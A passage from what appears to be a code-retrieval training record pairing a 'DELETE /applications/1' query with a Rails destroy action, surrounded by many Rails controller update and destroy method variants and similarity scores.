"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to dynamic_url(@application, action: :edit), notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @application.update(application_params)\n render :show, status: :ok, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, alert: 'Your application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: \"Application was successfully updated.\" }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n if @app \n @app.update(app_params)\n\n if @app.valid?\n head :no_content\n else \n head :bad_request\n end\n else \n head :not_found\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n if @application.update_attributes(params[:application])\n flash[:notice] = 'Application was successfully updated.'\n end\n \n respond_with @application\n end",
"def update\n respond_to do |format|\n if @client_application.update(client_application_params)\n format.html { redirect_to @client_application, notice: 'Client application was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_application }\n else\n format.html { render :edit }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html {redirect_to @application, notice: 'Application was successfully updated.'}\n format.json {render :show, status: :ok, location: @application}\n else\n format.html {render :edit}\n format.json {render json: @application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @newapp = Newapp.find(params[:id])\n\n respond_to do |format|\n if @newapp.update_attributes(params[:newapp])\n format.html { redirect_to @newapp, notice: 'Newapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application.owner = current_user if @application.owner.blank?\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n put(\"/apps/#{name}\", :app => attributes).to_s\n end",
"def update\n authorize! :update, @app\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n \n respond_to do |format|\n if @application.update_attributes(params[:application])\n flash[:notice] = 'Application was successfully updated.'\n format.html { redirect_to(@application) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n if @user_app.update_attributes(params[:user_app])\n format.html { redirect_to @user_app, notice: 'User app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to student_url(current_user), notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application_event=ApplicationsEvent.find(params[:applications_event_id])\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n if @applications_application.update_attributes(params[:applications_application])\n format.html { redirect_to @applications_application, notice: 'Applications application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @applications_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n new_name = params[:application][:name].to_s.downcase\n @application.name = params[:application][:name]\n User.edit_app_name(@application.id, new_name) if @application.valid?\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to applications_path, notice: 'Приложение обновлено.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'App was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'App was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client_app = ClientApp.find(params[:id])\n\n respond_to do |format|\n if @client_app.update_attributes(params[:client_app])\n format.html { redirect_to(client_apps_path, :notice => 'Client app was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:uid])\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to app_path(uid: @app.uid), notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n flash[:notice] = 'App was successfully updated.'\n format.html { redirect_to(app_path(@app)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @application_form = ApplicationForm.find(params[:id])\n authorize @application_form\n\n if @application_form.update(application_form_params)\n head :no_content\n else\n render json: @application_form.errors, status: :unprocessable_entity\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single camp_application based on the id\n camp_application = CampApplication.find_by(id: the_id)\n\n # update it\n if camp_application.update!(\n camp_id: params[:camp_id],\n application_id: params[:application_id]\n )\n render json: camp_application.as_json\n else\n render json: {errors: camp_application.errors.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @test_app.update(test_app_params)\n format.html { redirect_to @test_app, notice: 'Test app was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_app }\n else\n format.html { render :edit }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_app.update(test_app_params)\n format.html { redirect_to @test_app, notice: \"Test app was successfully updated.\" }\n format.json { render :show, status: :ok, location: @test_app }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n flash[:success] = 'App was successfully updated.'\n format.html { redirect_to @app }\n format.json { render :show, status: :ok, location: @app }\n else\n flash[:danger] = 'There was a problem updating the App Catalog Page.'\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @parent_app.update(parent_app_params)\n format.html { redirect_to @parent_app, notice: 'Parent app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @parent_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_app.update(admin_app_params)\n format.html { redirect_to [:admin, @admin_app], notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_app }\n else\n format.html { render :edit }\n format.json { render json: @admin_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to apps_path, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n\n Services::OpenIdConnectionService.new(@app).update \n end",
"def update\n respond_to do |format|\n if @user_application.update(user_application_params)\n format.html { redirect_to @user_application, notice: 'User application was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_application }\n else\n format.html { render :edit }\n format.json { render json: @user_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, optional_params = {})\n response = Network.post(['Applications', id], optional_params)\n Application.new(response)\n end",
"def update\n # TODO permissions\n if @app.user_id == current_user.id\n # @app.attributes = params[:app]\n @app.attributes = {'platform_ids' => []}.merge(params[:app] || {})\n # TODO Sanitize links\n # [:name, :website, :twitter, :facebook, :google_plus, :android, :itunes].each do |x|\n # @app.attributes[x] = Sanitize.clean(@app.attributes[x])\n # end\n if @app.save_update_by(current_user.id, request.remote_ip)\n flash[:notice] = \"Successfully updated.\"\n redirect_to app_path(@app)\n else\n render \"edit\"\n end\n else\n flash[:error] = \"You are not allowed to update the app.\"\n redirect_to app_path(@app)\n end\n end",
"def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize_action_for @app\n\n respond_to do |format|\n if app_params[:android_config].present? && app_params[:android_config][:bundle_id].present?\n if (@app.android_config['bundle_id'] != app_params[:android_config][:bundle_id]) && App.android_bundle_id?(app_params[:android_config][:bundle_id])\n @app.errors.add(:base, 'Android bundle id is invalid or already used')\n end\n end\n\n if app_params[:ios_config].present? && app_params[:ios_config][:bundle_id].present?\n if (@app.ios_config['bundle_id'] != app_params[:ios_config][:bundle_id]) && App.ios_bundle_id?(app_params[:ios_config][:bundle_id])\n @app.errors.add(:base, 'iOS bundle id is invalid or already used')\n end\n end\n\n if [email protected]_messages.present? && @app.update(app_params)\n format.html { redirect_to request.referrer, notice: 'App was successfully updated.' }\n format.json { render json: @app, status: :ok, location: :edit }\n else\n format.html { render :settings }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application_form.update(application_form_params)\n format.html { redirect_to @application_form, notice: 'Application form was successfully updated.' }\n format.json { render :show, status: :ok, location: @application_form }\n else\n format.html { render :edit }\n format.json { render json: @application_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @phone_app.update(phone_app_params)\n format.html { redirect_to @phone_app, notice: 'Phone app was successfully updated.' }\n format.json { render :show, status: :ok, location: @phone_app }\n else\n format.html { render :edit }\n format.json { render json: @phone_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_application.update(task_application_params)\n format.html { redirect_to @task_application, notice: 'Task application was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @task_application }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_request.update(app_request_params)\n format.html { redirect_to @app_request, notice: 'App request was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_request }\n else\n format.html { render :edit }\n format.json { render json: @app_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_app.update(todo_app_params)\n format.html { redirect_to @todo_app, notice: 'Todo app was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_app }\n else\n format.html { render :edit }\n format.json { render json: @todo_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @visa_application.update(visa_application_params)\n format.html { redirect_to @visa_application, notice: 'Visa application was successfully updated.' }\n format.json { render :show, status: :ok, location: @visa_application }\n else\n format.html { render :edit }\n format.json { render json: @visa_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @registered_app.update(registered_app_params)\n format.html { redirect_to @registered_app, notice: 'Registered app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @registered_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n deprecate # 07/26/2012\n put(\"/apps/#{name}\", :app => attributes).to_s\n end",
"def update\n respond_to do |format|\n if @project_application.update(project_application_params)\n format.html { redirect_to @project_application, notice: 'Project application was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_application }\n else\n format.html { render :edit }\n format.json { render json: @project_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n if params[:cancel_edit_app_button]\n respond_to do |format|\n format.html do\n if request.xhr? \n render :partial => 'app', :locals => { :app => @app }\n else\n redirect_to apps_url\n end\n end\n \n format.xml { head :ok }\n end\n \n return\n end\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html do\n if request.xhr?\n render :partial => 'app', :locals => {:app => @app}\n else\n flash[:notice] = 'App was successfully updated.'\n redirect_to app_activities_path(@app)\n end\n end\n format.xml { head :ok }\n else\n format.html do\n if request.xhr?\n render :partial => 'edit_horizontal', :locals => {:app => @app}\n else\n render :action => 'edit'\n end\n end\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@jobapp = Jobapp.find(params[:id])\n\n respond_to do |format|\n if @jobapp.update_attributes(params[:jobapp])\n format.html { redirect_to @jobapp, notice: 'Jobapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_application = StudentApplication.find(params[:id])\n\n respond_to do |format|\n if @student_application.update_attributes(params[:student_application])\n format.html { redirect_to @student_application, notice: 'Student application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n set_wine_app_description\n set_wine_app_screenshot\n respond_to do |format|\n if @wine_app.update(wine_app_params)\n format.html { redirect_to @wine_app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wine_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_application.logo = params['client_application']['logo']\n @client_application.theme = params['theme']\n @client_application.save\n respond_to do |format|\n if @client_application.update(client_application_params)\n logger.debug(\"IN THE APPLICATION UPDATE*************************\")\n format.html { redirect_to @client_application, notice: 'Client application was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_application }\n else\n format.html { render :edit }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_instance.update(app_instance_params)\n format.html { redirect_to @app_instance, notice: 'App instance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @app_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @herga_application.update(herga_application_params)\n format.html { redirect_to @herga_application, notice: 'Herga application was successfully updated.' }\n format.json { render :show, status: :ok, location: @herga_application }\n else\n format.html { render :edit }\n format.json { render json: @herga_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mobile_app.update(mobile_app_params)\n format.html { redirect_to @mobile_app, notice: 'Mobile app was successfully updated.' }\n format.json { render :show, status: :ok, location: @mobile_app }\n else\n format.html { render :edit }\n format.json { render json: @mobile_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employment_application.update(employment_application_params)\n format.html { redirect_to @employment_application, notice: 'Employment application was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_application }\n else\n format.html { render :edit }\n format.json { render json: @employment_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applist.update(applist_params)\n format.html { redirect_to @applist, notice: 'Applist was successfully updated.' }\n format.json { render :show, status: :ok, location: @applist }\n else\n format.html { render :edit }\n format.json { render json: @applist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applicationclient.update(applicationclient_params)\n format.html { redirect_to @applicationclient, notice: 'Applicationclient was successfully updated.' }\n format.json { render :show, status: :ok, location: @applicationclient }\n else\n format.html { render :edit }\n format.json { render json: @applicationclient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cotiz_app.update(cotiz_app_params)\n format.html { redirect_to @cotiz_app, notice: 'Cotiz app was successfully updated.' }\n format.json { render :show, status: :ok, location: @cotiz_app }\n else\n format.html { render :edit }\n format.json { render json: @cotiz_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mapp.update(mapp_params)\n format.html { redirect_to @mapp, notice: 'Mapp was successfully updated.' }\n format.json { render :show, status: :ok, location: @mapp }\n else\n format.html { render :edit }\n format.json { render json: @mapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = policy_scope(Application).find(params[:id])\n\n @application.schedule_items.clear\n @application.experiences.clear\n @application.roles.clear\n\n policy_scope(Application).update(@application.id, application_params)\n authorize @application\n if params[:application][:decision] == 'update'\n if @application.save\n flash[:notice] = t('.successfully_updated')\n else\n flash[:alert] = t('.not_created')\n end\n elsif params[:decision] == 'accept'\n @application.accept!\n flash[:notice] = t('.accepted')\n elsif params[:decision] == 'reject'\n @application.reject!\n flash[:notice] = t('.rejected')\n else\n flash[:alert] = t('.cant_change_state')\n end\n redirect_to applications_path\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @app.update(app_params)\n redirect_to @app, notice: 'App was successfully updated.' \n else\n render action: 'edit' \n end\n end",
"def update\n @second_rails_app = SecondRailsApp.find(params[:id])\n\n respond_to do |format|\n if @second_rails_app.update_attributes(params[:second_rails_app])\n format.html { redirect_to @second_rails_app, notice: 'Second rails app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @second_rails_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @residential_application.update(residential_application_params)\n format.html { redirect_to @residential_application, notice: 'Residential application was successfully updated.' }\n format.json { render :show, status: :ok, location: @residential_application }\n else\n format.html { render :edit }\n format.json { render json: @residential_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @appdatainfo.update(appdatainfo_params)\n format.html { redirect_to @appdatainfo, notice: 'Appdatainfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @appdatainfo }\n else\n format.html { render :edit }\n format.json { render json: @appdatainfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to vacancy_path(@job_application.vacancy_id), notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_config.update(app_config_params)\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_config }\n else\n format.html { render :edit }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7152944",
"0.7136675",
"0.7115411",
"0.70114315",
"0.7003497",
"0.6962699",
"0.69392174",
"0.6899615",
"0.6899615",
"0.6898765",
"0.68742436",
"0.6868403",
"0.68482035",
"0.68115634",
"0.68115634",
"0.68107307",
"0.68107307",
"0.68107307",
"0.680725",
"0.6806085",
"0.6803791",
"0.6723204",
"0.671053",
"0.670536",
"0.6696273",
"0.66937315",
"0.66911167",
"0.6684297",
"0.6676112",
"0.6676112",
"0.6676112",
"0.6676112",
"0.6676112",
"0.66530627",
"0.6648631",
"0.65960246",
"0.6546376",
"0.65429443",
"0.6530917",
"0.6528797",
"0.65238637",
"0.64445394",
"0.64445394",
"0.6440335",
"0.6423937",
"0.63973427",
"0.63757634",
"0.6370342",
"0.63504773",
"0.6348956",
"0.63459355",
"0.63357365",
"0.63319945",
"0.6330314",
"0.63253886",
"0.6319737",
"0.6315587",
"0.6307331",
"0.6289324",
"0.62659603",
"0.626132",
"0.6251728",
"0.62420535",
"0.6232996",
"0.62288785",
"0.6209789",
"0.6183481",
"0.61787444",
"0.6169197",
"0.6149762",
"0.61289597",
"0.6118252",
"0.61156243",
"0.6113607",
"0.61031985",
"0.60969925",
"0.6074132",
"0.6068547",
"0.60635436",
"0.6052528",
"0.6051205",
"0.6047149",
"0.6030652",
"0.6030652",
"0.60255975",
"0.60246515",
"0.60244966",
"0.6020377",
"0.60084945",
"0.60083824",
"0.6005274",
"0.6004733",
"0.60034096",
"0.60012436",
"0.5981002"
] |
0.6719687
|
27
|
DELETE /applications/1 DELETE /applications/1.json
|
def destroy
@application.destroy
respond_to do |format|
format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def delete_application(client, options)\n if !options[:application].nil?\n application = client.applications.get options[:application]\n application.delete\n puts \"Application deleted.\"\n return\n else\n puts \"Missing arguments\"\n return\n end \nend",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :ok }\n end\n end",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy(name)\n delete(\"/apps/#{name}\").to_s\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n format.json { head :ok } \n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to dynamic_url(:applications), notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_app = UserApp.find(params[:id])\n @user_app.destroy\n\n respond_to do |format|\n format.html { redirect_to user_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newapp = Newapp.find(params[:id])\n @newapp.destroy\n\n respond_to do |format|\n format.html { redirect_to newapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to admin2017_apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby_application = RubyApplication.find(params[:id])\n @ruby_application.destroy\n respond_to do |format|\n format.html { redirect_to home_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html {\n flash[:notice] = 'Application was successfully destroyed.'\n redirect_to admin_applications_url\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_application.destroy\n respond_to do |format|\n format.html { redirect_to client_applications_url, notice: 'Client application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_application.destroy\n respond_to do |format|\n format.html { redirect_to client_applications_url, notice: 'Client application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to(applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = current_user.apps.find(params[:id])\n @app.destroy\n flash[:notice] = \"The #{@app.name} app was successfully deleted\"\n respond_to do |format|\n format.html { redirect_to apps_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n flash[:success] = 'App was successfully destroyed.'\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
